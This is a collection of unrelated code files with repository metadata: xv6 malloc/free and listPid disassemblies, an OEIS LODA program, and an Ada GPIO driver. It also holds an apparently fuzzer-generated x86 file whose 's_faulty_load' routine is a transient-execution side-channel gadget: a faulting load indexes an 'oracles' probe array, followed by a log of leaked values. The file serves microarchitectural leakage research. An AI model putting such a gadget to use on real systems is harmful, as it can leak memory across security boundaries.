620: 3b 45 fc cmp -0x4(%ebp),%eax
623: 77 24 ja 649 <free+0x4f>
625: 8b 45 fc mov -0x4(%ebp),%eax
628: 8b 00 mov (%eax),%eax
62a: 3b 45 f8 cmp -0x8(%ebp),%eax
62d: 77 1a ja 649 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
62f: 8b 45 fc mov -0x4(%ebp),%eax
632: 8b 00 mov (%eax),%eax
634: 89 45 fc mov %eax,-0x4(%ebp)
637: 8b 45 f8 mov -0x8(%ebp),%eax
63a: 3b 45 fc cmp -0x4(%ebp),%eax
63d: 76 d4 jbe 613 <free+0x19>
63f: 8b 45 fc mov -0x4(%ebp),%eax
642: 8b 00 mov (%eax),%eax
644: 3b 45 f8 cmp -0x8(%ebp),%eax
647: 76 ca jbe 613 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
649: 8b 45 f8 mov -0x8(%ebp),%eax
64c: 8b 40 04 mov 0x4(%eax),%eax
64f: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
656: 8b 45 f8 mov -0x8(%ebp),%eax
659: 01 c2 add %eax,%edx
65b: 8b 45 fc mov -0x4(%ebp),%eax
65e: 8b 00 mov (%eax),%eax
660: 39 c2 cmp %eax,%edx
662: 75 24 jne 688 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
664: 8b 45 f8 mov -0x8(%ebp),%eax
667: 8b 50 04 mov 0x4(%eax),%edx
66a: 8b 45 fc mov -0x4(%ebp),%eax
66d: 8b 00 mov (%eax),%eax
66f: 8b 40 04 mov 0x4(%eax),%eax
672: 01 c2 add %eax,%edx
674: 8b 45 f8 mov -0x8(%ebp),%eax
677: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
67a: 8b 45 fc mov -0x4(%ebp),%eax
67d: 8b 00 mov (%eax),%eax
67f: 8b 10 mov (%eax),%edx
681: 8b 45 f8 mov -0x8(%ebp),%eax
684: 89 10 mov %edx,(%eax)
686: eb 0a jmp 692 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
688: 8b 45 fc mov -0x4(%ebp),%eax
68b: 8b 10 mov (%eax),%edx
68d: 8b 45 f8 mov -0x8(%ebp),%eax
690: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
692: 8b 45 fc mov -0x4(%ebp),%eax
695: 8b 40 04 mov 0x4(%eax),%eax
698: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
69f: 8b 45 fc mov -0x4(%ebp),%eax
6a2: 01 d0 add %edx,%eax
6a4: 3b 45 f8 cmp -0x8(%ebp),%eax
6a7: 75 20 jne 6c9 <free+0xcf>
p->s.size += bp->s.size;
6a9: 8b 45 fc mov -0x4(%ebp),%eax
6ac: 8b 50 04 mov 0x4(%eax),%edx
6af: 8b 45 f8 mov -0x8(%ebp),%eax
6b2: 8b 40 04 mov 0x4(%eax),%eax
6b5: 01 c2 add %eax,%edx
6b7: 8b 45 fc mov -0x4(%ebp),%eax
6ba: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6bd: 8b 45 f8 mov -0x8(%ebp),%eax
6c0: 8b 10 mov (%eax),%edx
6c2: 8b 45 fc mov -0x4(%ebp),%eax
6c5: 89 10 mov %edx,(%eax)
6c7: eb 08 jmp 6d1 <free+0xd7>
} else
p->s.ptr = bp;
6c9: 8b 45 fc mov -0x4(%ebp),%eax
6cc: 8b 55 f8 mov -0x8(%ebp),%edx
6cf: 89 10 mov %edx,(%eax)
freep = p;
6d1: 8b 45 fc mov -0x4(%ebp),%eax
6d4: a3 9c 0a 00 00 mov %eax,0xa9c
}
6d9: c9 leave
6da: c3 ret
000006db <morecore>:
static Header*
morecore(uint nu)
{
6db: 55 push %ebp
6dc: 89 e5 mov %esp,%ebp
6de: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
6e1: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
6e8: 77 07 ja 6f1 <morecore+0x16>
nu = 4096;
6ea: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
6f1: 8b 45 08 mov 0x8(%ebp),%eax
6f4: c1 e0 03 shl $0x3,%eax
6f7: 89 04 24 mov %eax,(%esp)
6fa: e8 30 fc ff ff call 32f <sbrk>
6ff: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
702: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
706: 75 07 jne 70f <morecore+0x34>
return 0;
708: b8 00 00 00 00 mov $0x0,%eax
70d: eb 22 jmp 731 <morecore+0x56>
hp = (Header*)p;
70f: 8b 45 f4 mov -0xc(%ebp),%eax
712: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
715: 8b 45 f0 mov -0x10(%ebp),%eax
718: 8b 55 08 mov 0x8(%ebp),%edx
71b: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
71e: 8b 45 f0 mov -0x10(%ebp),%eax
721: 83 c0 08 add $0x8,%eax
724: 89 04 24 mov %eax,(%esp)
727: e8 ce fe ff ff call 5fa <free>
return freep;
72c: a1 9c 0a 00 00 mov 0xa9c,%eax
}
731: c9 leave
732: c3 ret
00000733 <malloc>:
void*
malloc(uint nbytes)
{
733: 55 push %ebp
734: 89 e5 mov %esp,%ebp
736: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
739: 8b 45 08 mov 0x8(%ebp),%eax
73c: 83 c0 07 add $0x7,%eax
73f: c1 e8 03 shr $0x3,%eax
742: 83 c0 01 add $0x1,%eax
745: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
748: a1 9c 0a 00 00 mov 0xa9c,%eax
74d: 89 45 f0 mov %eax,-0x10(%ebp)
750: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
754: 75 23 jne 779 <malloc+0x46>
base.s.ptr = freep = prevp = &base;
756: c7 45 f0 94 0a 00 00 movl $0xa94,-0x10(%ebp)
75d: 8b 45 f0 mov -0x10(%ebp),%eax
760: a3 9c 0a 00 00 mov %eax,0xa9c
765: a1 9c 0a 00 00 mov 0xa9c,%eax
76a: a3 94 0a 00 00 mov %eax,0xa94
base.s.size = 0;
76f: c7 05 98 0a 00 00 00 movl $0x0,0xa98
776: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
779: 8b 45 f0 mov -0x10(%ebp),%eax
77c: 8b 00 mov (%eax),%eax
77e: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
781: 8b 45 f4 mov -0xc(%ebp),%eax
784: 8b 40 04 mov 0x4(%eax),%eax
787: 3b 45 ec cmp -0x14(%ebp),%eax
78a: 72 4d jb 7d9 <malloc+0xa6>
if(p->s.size == nunits)
78c: 8b 45 f4 mov -0xc(%ebp),%eax
78f: 8b 40 04 mov 0x4(%eax),%eax
792: 3b 45 ec cmp -0x14(%ebp),%eax
795: 75 0c jne 7a3 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
797: 8b 45 f4 mov -0xc(%ebp),%eax
79a: 8b 10 mov (%eax),%edx
79c: 8b 45 f0 mov -0x10(%ebp),%eax
79f: 89 10 mov %edx,(%eax)
7a1: eb 26 jmp 7c9 <malloc+0x96>
else {
p->s.size -= nunits;
7a3: 8b 45 f4 mov -0xc(%ebp),%eax
7a6: 8b 40 04 mov 0x4(%eax),%eax
7a9: 2b 45 ec sub -0x14(%ebp),%eax
7ac: 89 c2 mov %eax,%edx
7ae: 8b 45 f4 mov -0xc(%ebp),%eax
7b1: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
7b4: 8b 45 f4 mov -0xc(%ebp),%eax
7b7: 8b 40 04 mov 0x4(%eax),%eax
7ba: c1 e0 03 shl $0x3,%eax
7bd: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
7c0: 8b 45 f4 mov -0xc(%ebp),%eax
7c3: 8b 55 ec mov -0x14(%ebp),%edx
7c6: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
7c9: 8b 45 f0 mov -0x10(%ebp),%eax
7cc: a3 9c 0a 00 00 mov %eax,0xa9c
return (void*)(p + 1);
7d1: 8b 45 f4 mov -0xc(%ebp),%eax
7d4: 83 c0 08 add $0x8,%eax
7d7: eb 38 jmp 811 <malloc+0xde>
}
if(p == freep)
7d9: a1 9c 0a 00 00 mov 0xa9c,%eax
7de: 39 45 f4 cmp %eax,-0xc(%ebp)
7e1: 75 1b jne 7fe <malloc+0xcb>
if((p = morecore(nunits)) == 0)
7e3: 8b 45 ec mov -0x14(%ebp),%eax
7e6: 89 04 24 mov %eax,(%esp)
7e9: e8 ed fe ff ff call 6db <morecore>
7ee: 89 45 f4 mov %eax,-0xc(%ebp)
7f1: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
7f5: 75 07 jne 7fe <malloc+0xcb>
return 0;
7f7: b8 00 00 00 00 mov $0x0,%eax
7fc: eb 13 jmp 811 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7fe: 8b 45 f4 mov -0xc(%ebp),%eax
801: 89 45 f0 mov %eax,-0x10(%ebp)
804: 8b 45 f4 mov -0xc(%ebp),%eax
807: 8b 00 mov (%eax),%eax
809: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
80c: e9 70 ff ff ff jmp 781 <malloc+0x4e>
}
811: c9 leave
812: c3 ret
|
oeis/002/A002496.asm
|
neoneye/loda-programs
| 11 |
242199
|
; A002496: Primes of the form k^2 + 1.
; Submitted by <NAME>
; 2,5,17,37,101,197,257,401,577,677,1297,1601,2917,3137,4357,5477,7057,8101,8837,12101,13457,14401,15377,15877,16901,17957,21317,22501,24337,25601,28901,30977,32401,33857,41617,42437,44101,50177,52901,55697,57601,62501,65537,67601,69697,72901,78401,80657,90001,93637,98597,106277,115601,122501,147457,148997,156817,160001,164837,176401,184901,190097,193601,197137,215297,217157,220901,224677,240101,246017,287297,295937,309137,324901,331777,341057,352837,401957,404497,414737,417317,427717,454277
pow $1,$0
seq $0,168024 ; Noncomposite numbers in the northwestern ray of the Ulam spiral as oriented on the March 1964 cover of Scientific American.
add $0,$1
|
bb-runtimes/arm/smartfusion2/s-sf2gpi.adb
|
JCGobbi/Nucleo-STM32G474RE
| 0 |
22752
|
------------------------------------------------------------------------------
-- --
-- GNAT RUN-TIME COMPONENTS --
-- --
-- Copyright (C) 2016, AdaCore --
-- --
-- GNAT is free software; you can redistribute it and/or modify it under --
-- terms of the GNU General Public License as published by the Free Soft- --
-- ware Foundation; either version 3, or (at your option) any later ver- --
-- sion. GNAT is distributed in the hope that it will be useful, but WITH- --
-- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY --
-- or FITNESS FOR A PARTICULAR PURPOSE. --
-- --
-- As a special exception under Section 7 of GPL version 3, you are granted --
-- additional permissions described in the GCC Runtime Library Exception, --
-- version 3.1, as published by the Free Software Foundation. --
-- --
-- You should have received a copy of the GNU General Public License and --
-- a copy of the GCC Runtime Library Exception along with this program; --
-- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see --
-- <http://www.gnu.org/licenses/>. --
-- --
-- GNAT was originally developed by the GNAT team at New York University. --
-- Extensive contributions were provided by Ada Core Technologies Inc. --
-- --
------------------------------------------------------------------------------
with Interfaces.SF2.GPIO; use Interfaces.SF2.GPIO;
with Interfaces.SF2.System_Registers; use Interfaces.SF2.System_Registers;
package body System.SF2.GPIO is
---------------
-- GPIO_Init --
---------------
procedure GPIO_Init
is
SysReg : System_Registers_Peripheral renames System_Registers_Periph;
begin
-- Reset the MSS GPIO Hardware
SysReg.SOFT_RESET_CR.MSS_GPIO_SOFTRESET := True;
SysReg.SOFT_RESET_CR.MSS_GPOUT_7_0_SOFT_RESET := True;
SysReg.SOFT_RESET_CR.MSS_GPOUT_15_8_SOFT_RESET := True;
SysReg.SOFT_RESET_CR.MSS_GPOUT_23_16_SOFT_RESET := True;
SysReg.SOFT_RESET_CR.MSS_GPOUT_31_24_SOFT_RESET := True;
-- Take MSS GPIO hardware out of reset
SysReg.SOFT_RESET_CR.MSS_GPOUT_7_0_SOFT_RESET := False;
SysReg.SOFT_RESET_CR.MSS_GPOUT_15_8_SOFT_RESET := False;
SysReg.SOFT_RESET_CR.MSS_GPOUT_23_16_SOFT_RESET := False;
SysReg.SOFT_RESET_CR.MSS_GPOUT_31_24_SOFT_RESET := False;
SysReg.SOFT_RESET_CR.MSS_GPIO_SOFTRESET := False;
end GPIO_Init;
-----------------
-- GPIO_Config --
-----------------
procedure GPIO_Config
(Num : GPIO_Num;
Mode : GPIO_Mode)
is
begin
case Mode is
when Input_Mode =>
GPIO_Periph.CONFIG (Num) :=
(EN_IN => True,
others => <>);
when Output_Mode =>
GPIO_Periph.CONFIG (Num) :=
(EN_OUT => True,
EN_OE_BUF => True,
others => <>);
when In_Out_Mode =>
GPIO_Periph.CONFIG (Num) :=
(EN_OUT => True,
EN_IN => True,
others => <>);
end case;
end GPIO_Config;
---------------------------
-- GPIO_Config_Interrupt --
---------------------------
procedure GPIO_Config_Interrupt
(Num : GPIO_Num;
Event : GPIO_Interrupt_Mode;
Mode : GPIO_Mode := Input_Mode)
is
begin
GPIO_Config (Num, Mode);
case Event is
when IRQ_Level_High =>
GPIO_Periph.CONFIG (Num).TYPES_INT := Int_Level_High;
when IRQ_Level_Low =>
GPIO_Periph.CONFIG (Num).TYPES_INT := Int_Level_Low;
when IRQ_Edge_Positive =>
GPIO_Periph.CONFIG (Num).TYPES_INT := Int_Edge_Positive;
when IRQ_Edge_Negative =>
GPIO_Periph.CONFIG (Num).TYPES_INT := Int_Edge_Negative;
when IRQ_Edge_Both =>
GPIO_Periph.CONFIG (Num).TYPES_INT := Int_Edge_Both;
end case;
end GPIO_Config_Interrupt;
---------
-- Set --
---------
procedure Set (Num : GPIO_Num) is
begin
GPIO_Periph.GPOUT.Arr (Num) := True;
end Set;
-----------
-- Clear --
-----------
procedure Clear (Num : GPIO_Num) is
begin
GPIO_Periph.GPOUT.Arr (Num) := False;
end Clear;
---------
-- Set --
---------
function Set (Num : GPIO_Num) return Boolean
is
begin
return GPIO_Periph.GPIN.Arr (Num);
end Set;
end System.SF2.GPIO;
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1214.asm
|
ljhsiun2/medusa
| 9 |
1563
|
<gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x1a62b, %r13
nop
nop
nop
nop
nop
dec %rsi
movw $0x6162, (%r13)
nop
nop
nop
inc %r8
lea addresses_WC_ht+0x18f6b, %r9
nop
nop
nop
nop
nop
and %r15, %r15
movb (%r9), %al
nop
nop
nop
nop
xor $33651, %rax
lea addresses_normal_ht+0x1ceb, %r10
nop
nop
nop
and $19311, %rsi
vmovups (%r10), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r9
nop
nop
sub $38416, %r10
lea addresses_UC_ht+0x13002, %rsi
lea addresses_WT_ht+0x191cb, %rdi
nop
nop
nop
nop
sub $64672, %r8
mov $9, %rcx
rep movsq
and %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %r8
push %r9
push %rbp
push %rcx
// Store
lea addresses_A+0x11b6b, %r8
nop
nop
nop
and %r14, %r14
movw $0x5152, (%r8)
nop
nop
nop
nop
add $34679, %r14
// Store
lea addresses_UC+0x1e96b, %rbp
lfence
movw $0x5152, (%rbp)
nop
nop
xor $38948, %r14
// Store
lea addresses_A+0x1d02b, %r14
nop
nop
sub $44744, %rcx
movl $0x51525354, (%r14)
inc %r14
// Load
lea addresses_UC+0x1fb6b, %r8
nop
sub %rcx, %rcx
mov (%r8), %r9d
sub %rcx, %rcx
// Faulty Load
lea addresses_WC+0xe36b, %r14
nop
xor $4868, %rbp
movb (%r14), %r8b
lea oracles, %rcx
and $0xff, %r8
shlq $12, %r8
mov (%rcx,%r8,1), %r8
pop %rcx
pop %rbp
pop %r9
pop %r8
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_UC', 'same': False, 'size': 2, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 6, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_UC', 'same': False, 'size': 4, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_WC', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_D_ht', 'same': False, 'size': 2, 'congruent': 6, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM'}
{'38': 21829}
38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38
*/
|
listPid.asm
|
mignipunn/xv6
| 2 |
175481
|
<filename>listPid.asm
_listPid: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "user.h"
#include "stat.h"
#include "pstat.h"
int main()
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 push %ebp
b: 89 e5 mov %esp,%ebp
d: 57 push %edi
e: 56 push %esi
f: 53 push %ebx
10: 51 push %ecx
printf(1, "Process scheduling statistics:\n");
printf(1, "Slot\tPID\tHigh\tLow\n");
struct pstat st;
getAllPids(&st);
11: 8d bd e8 f7 ff ff lea -0x818(%ebp),%edi
17: 8d b5 e8 f9 ff ff lea -0x618(%ebp),%esi
int i;
for(i=0;i<NPROC;i++)
1d: 31 db xor %ebx,%ebx
#include "user.h"
#include "stat.h"
#include "pstat.h"
int main()
{
1f: 81 ec 10 08 00 00 sub $0x810,%esp
printf(1, "Process scheduling statistics:\n");
25: 68 70 07 00 00 push $0x770
2a: 6a 01 push $0x1
2c: e8 1f 04 00 00 call 450 <printf>
printf(1, "Slot\tPID\tHigh\tLow\n");
31: 5a pop %edx
32: 59 pop %ecx
33: 68 90 07 00 00 push $0x790
38: 6a 01 push $0x1
3a: e8 11 04 00 00 call 450 <printf>
struct pstat st;
getAllPids(&st);
3f: 89 3c 24 mov %edi,(%esp)
42: e8 2b 03 00 00 call 372 <getAllPids>
47: 83 c4 10 add $0x10,%esp
4a: eb 0f jmp 5b <main+0x5b>
4c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int i;
for(i=0;i<NPROC;i++)
50: 83 c3 01 add $0x1,%ebx
53: 83 c6 10 add $0x10,%esi
56: 83 fb 40 cmp $0x40,%ebx
59: 74 3b je 96 <main+0x96>
if(st.inuse[i])
5b: 8b 04 9f mov (%edi,%ebx,4),%eax
5e: 85 c0 test %eax,%eax
60: 74 ee je 50 <main+0x50>
printf(1, "%d\t%d\t%d\t%d\t%s\n",i,st.pid[i],st.hticks[i],st.lticks[i],st.name[i]);
62: 83 ec 04 sub $0x4,%esp
65: 56 push %esi
66: ff b4 9f 00 07 00 00 pushl 0x700(%edi,%ebx,4)
6d: 83 c6 10 add $0x10,%esi
70: ff b4 9f 00 06 00 00 pushl 0x600(%edi,%ebx,4)
77: ff b4 9f 00 01 00 00 pushl 0x100(%edi,%ebx,4)
7e: 53 push %ebx
7f: 68 a3 07 00 00 push $0x7a3
printf(1, "Process scheduling statistics:\n");
printf(1, "Slot\tPID\tHigh\tLow\n");
struct pstat st;
getAllPids(&st);
int i;
for(i=0;i<NPROC;i++)
84: 83 c3 01 add $0x1,%ebx
if(st.inuse[i])
printf(1, "%d\t%d\t%d\t%d\t%s\n",i,st.pid[i],st.hticks[i],st.lticks[i],st.name[i]);
87: 6a 01 push $0x1
89: e8 c2 03 00 00 call 450 <printf>
8e: 83 c4 20 add $0x20,%esp
printf(1, "Process scheduling statistics:\n");
printf(1, "Slot\tPID\tHigh\tLow\n");
struct pstat st;
getAllPids(&st);
int i;
for(i=0;i<NPROC;i++)
91: 83 fb 40 cmp $0x40,%ebx
94: 75 c5 jne 5b <main+0x5b>
if(st.inuse[i])
printf(1, "%d\t%d\t%d\t%d\t%s\n",i,st.pid[i],st.hticks[i],st.lticks[i],st.name[i]);
exit();
96: e8 47 02 00 00 call 2e2 <exit>
9b: 66 90 xchg %ax,%ax
9d: 66 90 xchg %ax,%ax
9f: 90 nop
000000a0 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
a0: 55 push %ebp
a1: 89 e5 mov %esp,%ebp
a3: 53 push %ebx
a4: 8b 45 08 mov 0x8(%ebp),%eax
a7: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
aa: 89 c2 mov %eax,%edx
ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
b0: 83 c1 01 add $0x1,%ecx
b3: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
b7: 83 c2 01 add $0x1,%edx
ba: 84 db test %bl,%bl
bc: 88 5a ff mov %bl,-0x1(%edx)
bf: 75 ef jne b0 <strcpy+0x10>
;
return os;
}
c1: 5b pop %ebx
c2: 5d pop %ebp
c3: c3 ret
c4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ca: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
000000d0 <strcmp>:
int
strcmp(const char *p, const char *q)
{
d0: 55 push %ebp
d1: 89 e5 mov %esp,%ebp
d3: 56 push %esi
d4: 53 push %ebx
d5: 8b 55 08 mov 0x8(%ebp),%edx
d8: 8b 4d 0c mov 0xc(%ebp),%ecx
while(*p && *p == *q)
db: 0f b6 02 movzbl (%edx),%eax
de: 0f b6 19 movzbl (%ecx),%ebx
e1: 84 c0 test %al,%al
e3: 75 1e jne 103 <strcmp+0x33>
e5: eb 29 jmp 110 <strcmp+0x40>
e7: 89 f6 mov %esi,%esi
e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
p++, q++;
f0: 83 c2 01 add $0x1,%edx
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f3: 0f b6 02 movzbl (%edx),%eax
p++, q++;
f6: 8d 71 01 lea 0x1(%ecx),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
f9: 0f b6 59 01 movzbl 0x1(%ecx),%ebx
fd: 84 c0 test %al,%al
ff: 74 0f je 110 <strcmp+0x40>
101: 89 f1 mov %esi,%ecx
103: 38 d8 cmp %bl,%al
105: 74 e9 je f0 <strcmp+0x20>
p++, q++;
return (uchar)*p - (uchar)*q;
107: 29 d8 sub %ebx,%eax
}
109: 5b pop %ebx
10a: 5e pop %esi
10b: 5d pop %ebp
10c: c3 ret
10d: 8d 76 00 lea 0x0(%esi),%esi
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
110: 31 c0 xor %eax,%eax
p++, q++;
return (uchar)*p - (uchar)*q;
112: 29 d8 sub %ebx,%eax
}
114: 5b pop %ebx
115: 5e pop %esi
116: 5d pop %ebp
117: c3 ret
118: 90 nop
119: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
00000120 <strlen>:
uint
strlen(char *s)
{
120: 55 push %ebp
121: 89 e5 mov %esp,%ebp
123: 8b 4d 08 mov 0x8(%ebp),%ecx
int n;
for(n = 0; s[n]; n++)
126: 80 39 00 cmpb $0x0,(%ecx)
129: 74 12 je 13d <strlen+0x1d>
12b: 31 d2 xor %edx,%edx
12d: 8d 76 00 lea 0x0(%esi),%esi
130: 83 c2 01 add $0x1,%edx
133: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1)
137: 89 d0 mov %edx,%eax
139: 75 f5 jne 130 <strlen+0x10>
;
return n;
}
13b: 5d pop %ebp
13c: c3 ret
uint
strlen(char *s)
{
int n;
for(n = 0; s[n]; n++)
13d: 31 c0 xor %eax,%eax
;
return n;
}
13f: 5d pop %ebp
140: c3 ret
141: eb 0d jmp 150 <memset>
143: 90 nop
144: 90 nop
145: 90 nop
146: 90 nop
147: 90 nop
148: 90 nop
149: 90 nop
14a: 90 nop
14b: 90 nop
14c: 90 nop
14d: 90 nop
14e: 90 nop
14f: 90 nop
00000150 <memset>:
void*
